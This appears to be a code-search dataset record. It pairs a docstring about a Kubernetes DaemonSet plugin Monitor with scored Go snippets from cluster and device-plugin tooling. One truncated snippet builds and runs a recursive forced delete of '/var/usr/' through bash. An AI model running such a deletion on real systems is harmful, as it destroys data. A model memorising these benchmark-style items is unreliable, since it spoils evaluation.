"docid": "99a8cb0e643ef682b6eb819314d85d97", "score": "0.5816888", "text": "func (in *BaseComponentPluginOverride) DeepCopy() *BaseComponentPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseComponentPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "2542fc59cdda08d5d472f8dec2033564", "score": "0.5809675", "text": "func (in *ContainerPluginOverrideParentOverride) DeepCopyInto(out *ContainerPluginOverrideParentOverride) {\n\t*out = *in\n\tif in.Env != nil {\n\t\tin, out := &in.Env, &out.Env\n\t\t*out = make([]EnvVarPluginOverrideParentOverride, len(*in))\n\t\tcopy(*out, *in)\n\t}\n\tif in.Annotation != nil {\n\t\tin, out := &in.Annotation, &out.Annotation\n\t\t*out = new(AnnotationPluginOverrideParentOverride)\n\t\t(*in).DeepCopyInto(*out)\n\t}\n\tif in.VolumeMounts != nil {\n\t\tin, out := &in.VolumeMounts, &out.VolumeMounts\n\t\t*out = make([]VolumeMountPluginOverrideParentOverride, len(*in))\n\t\tcopy(*out, *in)\n\t}\n\tif in.Command != nil {\n\t\tin, out := &in.Command, &out.Command\n\t\t*out = make([]string, len(*in))\n\t\tcopy(*out, *in)\n\t}\n\tif in.Args != nil {\n\t\tin, out := &in.Args, &out.Args\n\t\t*out = make([]string, len(*in))\n\t\tcopy(*out, *in)\n\t}\n\tif in.MountSources != nil {\n\t\tin, out := &in.MountSources, &out.MountSources\n\t\t*out = new(bool)\n\t\t**out = **in\n\t}\n\tif in.DedicatedPod != nil {\n\t\tin, out := &in.DedicatedPod, &out.DedicatedPod\n\t\t*out = new(bool)\n\t\t**out = **in\n\t}\n}", "title": "" }, { "docid": "dbb5e64058eb2c06b9178fa5642c8313", "score": "0.5798908", "text": "func (in *VolumeComponentPluginOverrideParentOverride) DeepCopyInto(out *VolumeComponentPluginOverrideParentOverride) {\n\t*out = *in\n\tout.BaseComponentPluginOverrideParentOverride = in.BaseComponentPluginOverrideParentOverride\n\tin.VolumePluginOverrideParentOverride.DeepCopyInto(&out.VolumePluginOverrideParentOverride)\n}", "title": "" }, { "docid": "f67b35b439dfbbac4bcbefacdc0c4910", "score": "0.57917696", "text": "func (in *DockerfileImagePluginOverride) DeepCopy() *DockerfileImagePluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileImagePluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "bf033ee3d5a6b15866a0e0bae0707764", "score": "0.5783983", "text": "func (in *K8sLikeComponentLocationPluginOverride) DeepCopy() *K8sLikeComponentLocationPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(K8sLikeComponentLocationPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" } ]
9e8d892fdce28b3c342351823db5df89
Monitor adheres to plugin.Interface by ensuring the DaemonSet is correctly configured and that each pod is running normally.
[ { "docid": "24a02c6d243ea88d0e0eae58f234982c", "score": "0.7570893", "text": "func (p *Plugin) Monitor(kubeclient kubernetes.Interface, availableNodes []v1.Node, resultsCh chan<- *plugin.Result) {\n\tpodsReported := make(map[string]bool)\n\tpodsFound := make(map[string]bool, len(availableNodes))\n\tfor _, node := range availableNodes {\n\t\tpodsFound[node.Name] = false\n\t\tpodsReported[node.Name] = false\n\t}\n\n\tfor {\n\t\t// Sleep between each poll, which should give the DaemonSet\n\t\t// enough time to create pods\n\t\ttime.Sleep(10 * time.Second)\n\t\t// If we've cleaned up after ourselves, stop monitoring\n\t\tif p.cleanedUp {\n\t\t\tbreak\n\t\t}\n\n\t\t// If we don't have a daemonset created, retry next time. We\n\t\t// only send errors if we successfully see that an expected pod\n\t\t// is having issues.\n\t\tds, err := p.findDaemonSet(kubeclient)\n\t\tif err != nil {\n\t\t\terrlog.LogError(errors.Wrapf(err, \"could not find DaemonSet created by plugin %v, will retry\", p.GetName()))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Find all the pods configured by this daemonset\n\t\tpods, err := kubeclient.CoreV1().Pods(p.Namespace).List(p.listOptions())\n\t\tif err != nil {\n\t\t\terrlog.LogError(errors.Wrapf(err, \"could not find pods created by plugin %v, will retry\", p.GetName()))\n\t\t\t// Likewise, if we can't query for pods, just retry next time.\n\t\t\tcontinue\n\t\t}\n\n\t\t// Cycle through each pod in this daemonset, reporting any failures.\n\t\tfor _, pod := range pods.Items {\n\t\t\tnodeName := pod.Spec.NodeName\n\t\t\t// We don't care about nodes we already saw\n\t\t\tif podsReported[nodeName] {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tpodsFound[nodeName] = true\n\n\t\t\t// Check if it's failing and submit the error result\n\t\t\tif isFailing, reason := utils.IsPodFailing(&pod); isFailing {\n\t\t\t\tpodsReported[nodeName] = true\n\n\t\t\t\tresultsCh <- utils.MakeErrorResult(p.GetResultType(), map[string]interface{}{\n\t\t\t\t\t\"error\": reason,\n\t\t\t\t\t\"pod\": pod,\n\t\t\t\t}, nodeName)\n\t\t\t}\n\t\t}\n\n\t\t// DaemonSets are a bit strange, if node taints are preventing\n\t\t// scheduling, pods won't even be created (unlike say Jobs,\n\t\t// which will create the pod and leave it in an unscheduled\n\t\t// state.) So take any nodes we didn't see pods on, and report\n\t\t// issues scheduling them.\n\t\tfor _, node := range availableNodes {\n\t\t\tif !podsFound[node.Name] && !podsReported[node.Name] {\n\t\t\t\tpodsReported[node.Name] = true\n\t\t\t\tresultsCh <- utils.MakeErrorResult(p.GetResultType(), map[string]interface{}{\n\t\t\t\t\t\"error\": fmt.Sprintf(\n\t\t\t\t\t\t\"No pod was scheduled on node %v within %v. Check tolerations for plugin %v\",\n\t\t\t\t\t\tnode.Name,\n\t\t\t\t\t\ttime.Now().Sub(ds.CreationTimestamp.Time),\n\t\t\t\t\t\tp.Name,\n\t\t\t\t\t),\n\t\t\t\t}, node.Name)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" } ]
[ { "docid": "a110edca09afe9bcdfa631c86508913f", "score": "0.56711304", "text": "func (core *Core) monitor() {\n\tgo core.metricMonitor()\n\tgo core.taskHealthCheck(1 * time.Minute)\n}", "title": "" }, { "docid": "0ff23cc7e425c7029ab8da52f8cd0cf1", "score": "0.5616423", "text": "func (r *reconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {\n\tlog := log.FromContext(ctx)\n\n\tif err := r.updateBookKeeper(ctx); err != nil {\n\t\tlog.Error(err, \"unable to total count of device plugins\")\n\t\treturn ctrl.Result{}, err\n\t}\n\n\t// Fetch the plugin's DaemonSet.\n\tvar childDaemonSets apps.DaemonSetList\n\tif err := r.List(ctx, &childDaemonSets, client.MatchingFields{r.ownerKey: req.Name}); err != nil {\n\t\tlog.Error(err, \"unable to list child DaemonSets\")\n\t\treturn ctrl.Result{}, err\n\t}\n\n\tdevicePlugin := r.controller.CreateEmptyObject()\n\tif err := r.Get(ctx, req.NamespacedName, devicePlugin); err != nil {\n\t\treturn r.maybeDeleteDaemonSets(ctx, err, childDaemonSets.Items, log)\n\t}\n\n\t// Create a daemon set for the plugin if it doesn't exist.\n\tif len(childDaemonSets.Items) == 0 {\n\t\treturn r.createDaemonSet(ctx, devicePlugin, log)\n\t}\n\n\tds := &childDaemonSets.Items[0]\n\n\t// Synchronize the DaemonSet with its owner.\n\tif r.controller.UpdateDaemonSet(devicePlugin, ds) {\n\t\tif err := r.Update(ctx, ds); err != nil {\n\t\t\tlog.Error(err, \"unable to update DaemonSet\", \"DaemonSet\", ds)\n\t\t\treturn ctrl.Result{}, err\n\t\t}\n\t}\n\n\t// Fetch the pods controlled by the controller's DaemonSet to list nodes\n\tvar pods v1.PodList\n\tif err := r.List(ctx, &pods, client.InNamespace(ds.Namespace), client.MatchingFields{r.ownerKey: ds.Name}); err != nil {\n\t\tlog.Error(err, \"unable to list child Pods of the controlled daemon set\")\n\t\treturn ctrl.Result{}, err\n\t}\n\tnodeNames := make([]string, len(pods.Items))\n\tfor i, pod := range pods.Items {\n\t\tnodeNames[i] = pod.Spec.NodeName\n\t}\n\n\t// Update status\n\tstatusUpdated, err := r.controller.UpdateStatus(devicePlugin, &childDaemonSets.Items[0], nodeNames)\n\tif err != nil {\n\t\treturn ctrl.Result{}, err\n\t}\n\tif statusUpdated {\n\t\tif err := r.Status().Update(ctx, devicePlugin); apierrors.IsConflict(err) {\n\t\t\treturn ctrl.Result{Requeue: true}, nil\n\t\t} else if err != nil {\n\t\t\tlog.Error(err, \"unable to update device plugin status\")\n\t\t\treturn ctrl.Result{}, err\n\t\t}\n\t}\n\n\t// Drop redundant daemon sets if any.\n\tr.maybeDeleteRedundantDaemonSets(ctx, childDaemonSets.Items, log)\n\n\treturn ctrl.Result{}, nil\n}", "title": "" }, { "docid": "0daa787865fd37bb19e782c94ebb8060", "score": "0.5576765", "text": "func Daemon(cfg *config.TopLevelConfig) {\n\tgo scheduleSnapshotPrune(cfg)\n\tgo scheduleSnapshots(cfg)\n\tselect {}\n}", "title": "" }, { "docid": "48fee84de90b94aff454649577f54dab", "score": "0.5535036", "text": "func (m *Monitor) Configure(conf *Config) error {\n\tm.logger = logrus.WithFields(logrus.Fields{\"monitorType\": monitorType, \"monitorID\": conf.MonitorID})\n\n\tenhancedMetricsConfig := EnableExtraGroups(conf.EnhancedMetricsConfig, m.Output.EnabledMetrics())\n\n\tdefaultHeaders := map[string]string{\"User-Agent\": \"signalfx-agent\"}\n\n\tvar err error\n\tm.client, err = docker.NewClient(conf.DockerURL, dockerAPIVersion, nil, defaultHeaders)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Could not create docker client\")\n\t}\n\n\tm.timeout = time.Duration(conf.TimeoutSeconds) * time.Second\n\n\tm.ctx, m.cancel = context.WithCancel(context.Background())\n\n\timageFilter, err := filter.NewBasicStringFilter(conf.ExcludedImages)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlock := sync.Mutex{}\n\tcontainers := map[string]dockerContainer{}\n\tisRegistered := false\n\n\tchangeHandler := func(old *dtypes.ContainerJSON, new *dtypes.ContainerJSON) {\n\t\tif old == nil && new == nil {\n\t\t\treturn\n\t\t}\n\n\t\tvar id string\n\t\tif new != nil {\n\t\t\tid = new.ID\n\t\t} else {\n\t\t\tid = old.ID\n\t\t}\n\n\t\tlock.Lock()\n\t\tdefer lock.Unlock()\n\n\t\tif new == nil || (!new.State.Running || new.State.Paused) {\n\t\t\tm.logger.Debugf(\"Container %s is no longer running\", id)\n\t\t\tdelete(containers, id)\n\t\t\treturn\n\t\t}\n\t\tm.logger.Infof(\"Monitoring docker container %s\", id)\n\t\tcontainers[id] = dockerContainer{\n\t\t\tContainerJSON: new,\n\t\t\tEnvMap: parseContainerEnvSlice(new.Config.Env),\n\t\t}\n\t}\n\n\tutils.RunOnInterval(m.ctx, func() {\n\t\t// Repeat the watch setup in the face of errors in case the docker\n\t\t// engine is non-responsive when the monitor starts.\n\t\tif !isRegistered {\n\t\t\tdockercommon.ListAndWatchContainers(m.ctx, m.client, changeHandler, imageFilter, m.logger, conf.CacheSyncInterval.AsDuration())\n\t\t\tisRegistered = true\n\t\t}\n\n\t\t// Individual container objects don't need to be protected by the lock,\n\t\t// only the map that holds them.\n\t\tlock.Lock()\n\t\tfor id := range containers {\n\t\t\tgo m.fetchStats(containers[id], conf.LabelsToDimensions, conf.EnvToDimensions, enhancedMetricsConfig)\n\t\t}\n\t\tlock.Unlock()\n\n\t}, time.Duration(conf.IntervalSeconds)*time.Second)\n\n\treturn nil\n}", "title": "" }, { "docid": "979b317ca4ca7df1e71f04f6f0658741", "score": "0.55267024", "text": "func Start(ctx context.Context, restConfig *rest.Config) (*Monitor, error) {\n\tm := NewMonitorWithInterval(time.Second)\n\tclient, err := kubernetes.NewForConfig(restConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tconfigClient, err := configclientset.NewForConfig(restConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := StartKubeAPIMonitoringWithNewConnections(ctx, m, restConfig, 5*time.Second); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := StartOpenShiftAPIMonitoringWithNewConnections(ctx, m, restConfig, 5*time.Second); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := StartOAuthAPIMonitoringWithNewConnections(ctx, m, restConfig, 5*time.Second); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := StartKubeAPIMonitoringWithConnectionReuse(ctx, m, restConfig, 5*time.Second); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := StartOpenShiftAPIMonitoringWithConnectionReuse(ctx, m, restConfig, 5*time.Second); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := StartOAuthAPIMonitoringWithConnectionReuse(ctx, m, restConfig, 5*time.Second); err != nil {\n\t\treturn nil, err\n\t}\n\tstartPodMonitoring(ctx, m, client)\n\tstartNodeMonitoring(ctx, m, client)\n\tstartEventMonitoring(ctx, m, client)\n\n\t// add interval creation at the same point where we add the monitors\n\tstartClusterOperatorMonitoring(ctx, m, configClient)\n\tm.intervalCreationFns = append(\n\t\tm.intervalCreationFns,\n\t\tintervalcreation.IntervalsFromEvents_OperatorAvailable,\n\t\tintervalcreation.IntervalsFromEvents_OperatorProgressing,\n\t\tintervalcreation.IntervalsFromEvents_OperatorDegraded,\n\t\tintervalcreation.IntervalsFromEvents_E2ETests,\n\t\tintervalcreation.IntervalsFromEvents_NodeChanges,\n\t)\n\n\tm.StartSampling(ctx)\n\treturn m, nil\n}", "title": "" }, { "docid": "b7db0b53c9bef55240388ea6e022c46c", "score": "0.54511136", "text": "func Monitor() {\n\tfor {\n\t\tif container.State(container.Management) == container.Running {\n\t\t\tcommon.RunNRecover(server)\n\t\t} else {\n\t\t\tcommon.RunNRecover(client)\n\t\t}\n\t\ttime.Sleep(time.Second)\n\t}\n}", "title": "" }, { "docid": "92d360c37fe0fc8bec4bd219ae2f4c16", "score": "0.54331726", "text": "func (m *manager) Run() {\n\t// Load any previous plugin reattach configuration\n\tif err := m.loadReattachConfigs(); err != nil {\n\t\tm.logger.Warn(\"unable to load driver plugin reattach configs, a driver process may have been leaked\",\n\t\t\t\"error\", err)\n\t}\n\n\t// Get driver plugins\n\tdriversPlugins := m.loader.Catalog()[base.PluginTypeDriver]\n\tif len(driversPlugins) == 0 {\n\t\tm.logger.Debug(\"exiting since there are no driver plugins\")\n\t\tm.cancel()\n\t\treturn\n\t}\n\n\tvar skippedDrivers []string\n\tfor _, d := range driversPlugins {\n\t\tid := loader.PluginInfoID(d)\n\t\tif m.isDriverBlocked(id.Name) {\n\t\t\tskippedDrivers = append(skippedDrivers, id.Name)\n\t\t\tcontinue\n\t\t}\n\n\t\tstoreFn := func(c *plugin.ReattachConfig) error {\n\t\t\treturn m.storePluginReattachConfig(id, c)\n\t\t}\n\t\tfetchFn := func() (*plugin.ReattachConfig, bool) {\n\t\t\treturn m.fetchPluginReattachConfig(id)\n\t\t}\n\n\t\tinstance := newInstanceManager(&instanceManagerConfig{\n\t\t\tLogger: m.logger,\n\t\t\tCtx: m.ctx,\n\t\t\tLoader: m.loader,\n\t\t\tStoreReattach: storeFn,\n\t\t\tFetchReattach: fetchFn,\n\t\t\tPluginConfig: m.pluginConfig,\n\t\t\tID: &id,\n\t\t\tUpdateNodeFromDriver: m.updater,\n\t\t\tEventHandlerFactory: m.eventHandlerFactory,\n\t\t})\n\n\t\tm.instancesMu.Lock()\n\t\tm.instances[id.Name] = instance\n\t\tm.instancesMu.Unlock()\n\t}\n\n\tif len(skippedDrivers) > 0 {\n\t\tm.logger.Debug(\"drivers skipped due to allow/block list\", \"skipped_drivers\", skippedDrivers)\n\t}\n\n\t// signal ready\n\tclose(m.readyCh)\n}", "title": "" }, { "docid": "381159b164e65cf924ea89c4f8324469", "score": "0.54100937", "text": "func (m *manager) Run() {\n\t// Check if there are any plugins that didn't get cleanly shutdown before\n\t// and if there are shut them down.\n\tm.cleanupStalePlugins()\n\n\t// Get device plugins\n\tdevices := m.loader.Catalog()[base.PluginTypeDevice]\n\tif len(devices) == 0 {\n\t\tm.logger.Debug(\"exiting since there are no device plugins\")\n\t\tm.cancel()\n\t\treturn\n\t}\n\n\tfor _, d := range devices {\n\t\tid := loader.PluginInfoID(d)\n\t\tstoreFn := func(c *plugin.ReattachConfig) error {\n\t\t\tid := id\n\t\t\treturn m.storePluginReattachConfig(id, c)\n\t\t}\n\t\tm.instances[id] = newInstanceManager(&instanceManagerConfig{\n\t\t\tLogger: m.logger,\n\t\t\tCtx: m.ctx,\n\t\t\tLoader: m.loader,\n\t\t\tStoreReattach: storeFn,\n\t\t\tPluginConfig: m.pluginConfig,\n\t\t\tId: &id,\n\t\t\tFingerprintOutCh: m.fingerprintResCh,\n\t\t\tStatsInterval: m.statsInterval,\n\t\t})\n\t}\n\n\t// Now start the fingerprint handler\n\tgo m.fingerprint()\n}", "title": "" }, { "docid": "ed580999e0c3da37952b3e1910a05c40", "score": "0.53977674", "text": "func (p *Prober) Start() {\n\t// Get static copy of the config object\n\tcfg := p.config.Copy()\n\n\tfor _, svc := range cfg.Monitor.Services {\n\t\t// Create new Probe Bot and start it\n\t\tif svc.Interval == 0 {\n\t\t\tsvc.Interval = cfg.Monitor.Interval\n\t\t}\n\n\t\tgo NewProbeBot(\n\t\t\tp.eb,\n\t\t\tsvc,\n\t\t\tp.status.Update,\n\t\t).Start()\n\t}\n}", "title": "" }, { "docid": "85fc98d48e29fb4623f9e81204805b2d", "score": "0.5395546", "text": "func (c *cleaner) Run() {\n\tglog.V(3).Info(\"Unused interface cleaner was initialized\")\n\n\t// Listen for newly registered host interface - PID pairs, save them into internal map.\n\t// This is done in two steps, channel and map update, so user is not blocked on Register call.\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase interfaceAndPID := <-c.interfaceAndPIDChan:\n\t\t\t\tglog.V(3).Infof(\"Registering new host interface - PID pair: %s [%d]\", interfaceAndPID.InterfaceName, interfaceAndPID.PID)\n\t\t\t\tc.interfaceByPIDMutex.Lock()\n\t\t\t\tc.interfaceByPID[interfaceAndPID.PID] = interfaceAndPID.InterfaceName\n\t\t\t\tc.interfaceByPIDMutex.Unlock()\n\t\t\t}\n\t\t}\n\t}()\n\n\t// Monitor terminated processes. Register callback that will remove host interface associated\n\t// with monitored PIDs.\n\tmonitor := monitor.NewMonitor(monitor.ProcessTerminationCallback(func(terminatedPID int) {\n\t\tc.interfaceByPIDMutex.Lock()\n\t\tif interfaceName, found := c.interfaceByPID[terminatedPID]; found {\n\t\t\tglog.V(3).Infof(\"Monitored process with PID [%d] was terminated, starting host interface '%s' cleanup\", terminatedPID, interfaceName)\n\t\t\tpeer, err := netlink.LinkByName(interfaceName)\n\t\t\tif err != nil {\n\t\t\t\tglog.V(3).Infof(\"Interface '%s' was already removed\", interfaceName)\n\t\t\t} else {\n\t\t\t\tnetlink.LinkDel(peer)\n\t\t\t\tglog.V(3).Infof(\"Interface '%s' was removed from host\", interfaceName)\n\t\t\t}\n\t\t\tdelete(c.interfaceByPID, terminatedPID)\n\t\t}\n\t\tc.interfaceByPIDMutex.Unlock()\n\t}))\n\terr := monitor.Run()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "23f9bf60fa624a364507ec1fb3a6e030", "score": "0.53788567", "text": "func (p *Plugin) Run(kubeclient kubernetes.Interface) error {\n\tvar err error\n\tconfigMap, err := p.buildConfigMap()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdaemonSet, err := p.buildDaemonSet()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Submit them to the API server, capturing the results\n\tif _, err = kubeclient.CoreV1().ConfigMaps(p.Namespace).Create(configMap); err != nil {\n\t\treturn errors.Wrapf(err, \"could not create ConfigMap for daemonset plugin %v\", p.GetName())\n\t}\n\tif _, err = kubeclient.ExtensionsV1beta1().DaemonSets(p.Namespace).Create(daemonSet); err != nil {\n\t\treturn errors.Wrapf(err, \"could not create DaemonSet for daemonset plugin %v\", p.GetName())\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e3ca5b2ee01db647ce16ab6d778f3c59", "score": "0.5368619", "text": "func (c *Command) Monitor(cli *cli.Context) error {\n\tlog := c.GetLogger(cli)\n\n\t// Build and connect to beanstalkd\n\tclient, err := c.GetBeanstalkdClient(cli)\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Could not connect to beanstalkd server\")\n\t\treturn err\n\t}\n\n\t// Assign a few interesting keys to display.\n\t// If no keys are passed on the cli we assign a we default keys ourself.\n\tif len(cli.StringSlice(\"keys\")) > 0 {\n\t\tkeys = cli.StringSlice(\"keys\")\n\t}\n\n\tif len(cli.StringSlice(\"tubekeys\")) > 0 {\n\t\ttubeKeys = cli.StringSlice(\"tubekeys\")\n\t}\n\n\t// Infinite loop, show beanstalkd stats until the users exists the application.\n\tfor {\n\t\t// Retrieve stats, break loop if an error occured.\n\t\tlog.Debug(\"Retrieving stats...\")\n\t\tstats, err := client.Stats()\n\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed to retrieve server stats\")\n\t\t\tbreak\n\t\t}\n\n\t\t// Build a buffer for our output.\n\t\tvar buffer bytes.Buffer\n\n\t\t// Clear the screen.\n\t\tbuffer.WriteString(\"\\033[H\\033[2J\")\n\n\t\t// Write global stats.\n\t\tfor i, value := range keys {\n\t\t\tbuffer.WriteString(fmt.Sprintf(\"%s: %s\", value, stats[value]))\n\n\t\t\tif i < (len(keys) - 1) {\n\t\t\t\tbuffer.WriteString(\", \")\n\t\t\t}\n\t\t}\n\n\t\tbuffer.WriteByte('\\n')\n\n\t\t// Get a slice of all existing tubes.\n\t\ttubes, err := client.ListTubes()\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Error listing tubes\")\n\t\t\tbreak\n\t\t}\n\n\t\t// Write stats for each tube.\n\t\tfor _, tube := range tubes {\n\t\t\tlog.WithField(\"tube\", tube).Debug(\"Retrieving tube stats...\")\n\n\t\t\tstats, err := client.StatsTube(tube)\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).WithField(\"tube\", tube).Error(\"Error reading tube stats\")\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tbuffer.WriteString(fmt.Sprintf(\"\\nName: %s\\n\", tube))\n\n\t\t\tfor _, value := range tubeKeys {\n\t\t\t\tbuffer.WriteString(fmt.Sprintf(\"%s: %s\\n\", value, stats[value]))\n\t\t\t}\n\t\t}\n\n\t\t// Output the buffer.\n\t\tfmt.Print(buffer.String())\n\n\t\t// Sleep for 1 second.\n\t\ttime.Sleep(time.Second)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "aa6df9b415ed0239a23e9a1e0ade1476", "score": "0.5328328", "text": "func Monitor(cfg *config.Config) {\n\tfor _, service := range cfg.Services {\n\t\tgo monitor(service)\n\t\t// To prevent multiple requests from running at the same time\n\t\ttime.Sleep(1111 * time.Millisecond)\n\t}\n}", "title": "" }, { "docid": "a87ac3bda17db2458f8d4bb57d21f3a6", "score": "0.5328277", "text": "func monitor(service *core.Service) {\n\tcfg := config.Get()\n\tfor {\n\t\t// By placing the lock here, we prevent multiple services from being monitored at the exact same time, which\n\t\t// could cause performance issues and return inaccurate results\n\t\tmonitoringMutex.Lock()\n\t\tif cfg.Debug {\n\t\t\tlog.Printf(\"[watchdog][monitor] Monitoring serviceName=%s\", service.Name)\n\t\t}\n\t\tresult := service.EvaluateConditions()\n\t\tmetric.PublishMetricsForService(service, result)\n\t\tserviceResultsMutex.Lock()\n\t\tserviceResults[service.Name] = append(serviceResults[service.Name], result)\n\t\tif len(serviceResults[service.Name]) > 20 {\n\t\t\tserviceResults[service.Name] = serviceResults[service.Name][1:]\n\t\t}\n\t\tserviceResultsMutex.Unlock()\n\t\tvar extra string\n\t\tif !result.Success {\n\t\t\textra = fmt.Sprintf(\"responseBody=%s\", result.Body)\n\t\t}\n\t\tlog.Printf(\n\t\t\t\"[watchdog][monitor] Monitored serviceName=%s; success=%v; errors=%d; requestDuration=%s; %s\",\n\t\t\tservice.Name,\n\t\t\tresult.Success,\n\t\t\tlen(result.Errors),\n\t\t\tresult.Duration.Round(time.Millisecond),\n\t\t\textra,\n\t\t)\n\t\thandleAlerting(service, result)\n\t\tif cfg.Debug {\n\t\t\tlog.Printf(\"[watchdog][monitor] Waiting for interval=%s before monitoring serviceName=%s again\", service.Interval, service.Name)\n\t\t}\n\t\tmonitoringMutex.Unlock()\n\t\ttime.Sleep(service.Interval)\n\t}\n}", "title": "" }, { "docid": "92f0979739ae5eda2bcf865958d24f9d", "score": "0.5267088", "text": "func (s *Service) Start() error {\r\n\ts.logger.Debug(\"Starting health monitor service\")\r\n\r\n\t//todo - create web servier\r\n\t//\t - expose prometheus endpoint from metric manager\r\n\r\n\tsAdminPort := fmt.Sprintf(\":%v\", s.adminPort)\r\n\ts.logger.Debug(fmt.Sprintf(\"running /metrics endpoint on %s\", sAdminPort))\r\n\r\n\thttp.Handle(\"/metrics\", s.metrics.MetricEndpoint())\r\n\tgo http.ListenAndServe(sAdminPort, nil)\r\n\r\n\ts.logger.Debug(\"Running metrics service\")\r\n\tgo s.metrics.Run()\r\n\r\n\t// if err := s.Admin.Serve(); err != nil {\r\n\t// \treturn fmt.Errorf(\"cannot start the admin server: %w\", err)\r\n\t// }\r\n\r\n\tfor _, val := range s.monitors {\r\n\t\ts.logger.Debug(fmt.Sprintf(\"Starting monitor %s [%T] \", val.Identifier(), val))\r\n\t\tval.Start()\r\n\t}\r\n\r\n\treturn nil\r\n}", "title": "" }, { "docid": "dae494b5ded388c7cc44cdc996539fb9", "score": "0.5257453", "text": "func (dn *Daemon) Run(stopCh <-chan struct{}, exitCh <-chan error) error {\n\tif dn.kubeletHealthzEnabled {\n\t\tglog.Info(\"Enabling Kubelet Healthz Monitor\")\n\t\tgo dn.runKubeletHealthzMonitor(stopCh, dn.exitCh)\n\t}\n\n\t// Catch quickly if we've been asked to run once.\n\tif dn.onceFrom != \"\" {\n\t\tgenericConfig, configType, contentFrom, err := dn.SenseAndLoadOnceFrom()\n\t\tif err != nil {\n\t\t\tglog.Warningf(\"Unable to decipher onceFrom config type: %s\", err)\n\t\t\treturn err\n\t\t}\n\t\tif configType == machineConfigIgnitionFileType {\n\t\t\tglog.V(2).Info(\"Daemon running directly from Ignition\")\n\t\t\tignConfig := genericConfig.(ignv2_2types.Config)\n\t\t\treturn dn.runOnceFromIgnition(ignConfig)\n\t\t}\n\t\tif configType == machineConfigMCFileType {\n\t\t\tglog.V(2).Info(\"Daemon running directly from MachineConfig\")\n\t\t\tmcConfig := genericConfig.(*(mcfgv1.MachineConfig))\n\t\t\t// this already sets the node as degraded on error in the in-cluster path\n\t\t\treturn dn.runOnceFromMachineConfig(*mcConfig, contentFrom)\n\t\t}\n\t}\n\n\tif !cache.WaitForCacheSync(stopCh, dn.nodeListerSynced) {\n\t\treturn dn.nodeWriter.SetUpdateDegradedMsgIgnoreErr(\"failed to sync cache\", dn.kubeClient.CoreV1().Nodes(), dn.name)\n\t}\n\n\t// Block on exit channel. The node informer will send callbacks through\n\t// handleNodeUpdate(). If a failure happens there, it writes to the channel.\n\t// The HealthzMonitor goroutine also writes to this channel if the threshold\n\t// is reached.\n\terr := <-exitCh\n\n\treturn dn.nodeWriter.SetUpdateDegradedIgnoreErr(err, dn.kubeClient.CoreV1().Nodes(), dn.name)\n}", "title": "" }, { "docid": "55390061ba40366471c5747a1e3c1da8", "score": "0.52330434", "text": "func (o *Orchestrator) Run() {\n\tv := newValidator(o.Plugin)\n\tm := newMetrics(o.healthzPath, o.healthzPort, o.metricsPath, o.metricsPort)\n\n\tv.mustValidatePrerequisites()\n\n\to.mustServeKMSRequests()\n\n\t// Giving some time for kmsPlugin to start Serving.\n\t// TODO: Must be a better way than to sleep.\n\ttime.Sleep(3 * time.Millisecond)\n\n\tv.mustPingRPC()\n\tmustGatherMetrics()\n\n\tm.mustServeHealthzAndMetrics()\n\n\t// Giving some time for HealthZ and Metrics to start Serving.\n\t// TODO: Must be a better way than to sleep.\n\ttime.Sleep(3 * time.Millisecond)\n\tmustEmitOKHealthz()\n\tmustEmitMetrics()\n}", "title": "" }, { "docid": "15a9d24ec5c583727b0f9a23db7f43fd", "score": "0.5205157", "text": "func MonitorAgent(config *config.Config, orchestrator string) error {\n\n\tvar err error\n\tvar vrsConnection vrsSdk.VRSConnection\n\tinterruptChannel = make(chan bool)\n\n\tstaleEntityMap = make(map[string]int64)\n\tstalePortMap = make(map[string]int64)\n\tstaleEntryTimeout = config.StaleEntryTimeout\n\torchestratorType = orchestrator\n\n\thostname, err = os.Hostname()\n\tif err != nil {\n\t\tlog.Errorf(\"finding hostname failed with error: %v\", err)\n\t\treturn err\n\t}\n\tfor {\n\t\tvrsConnection, err = client.ConnectToVRSOVSDB(config)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"Error connecting to VRS. Will re-try connection in 5 seconds\")\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t\ttime.Sleep(time.Duration(5) * time.Second)\n\t}\n\n\tlog.Infof(\"Starting Nuage CNI monitoring daemon for %s node with hostname %s\", orchestrator, hostname)\n\n\t// Cleaning up stale ports/entities when audit daemon starts\n\terr = cleanupStaleEntities(vrsConnection, orchestrator)\n\tif err != nil {\n\t\tlog.Errorf(\"Error cleaning up stale entities and ports on VRS\")\n\t}\n\n\t// Determine whether the base host is RHEL server or RHEL atomic\n\tisAtomic = k8s.VerifyHostType()\n\n\tif !isAtomic && orchestrator == \"ose\" {\n\t\tcmdstr := fmt.Sprintf(\"rm -irf /var/usr/\")\n\t\tcmd := exec.Command(\"bash\", \"-c\", 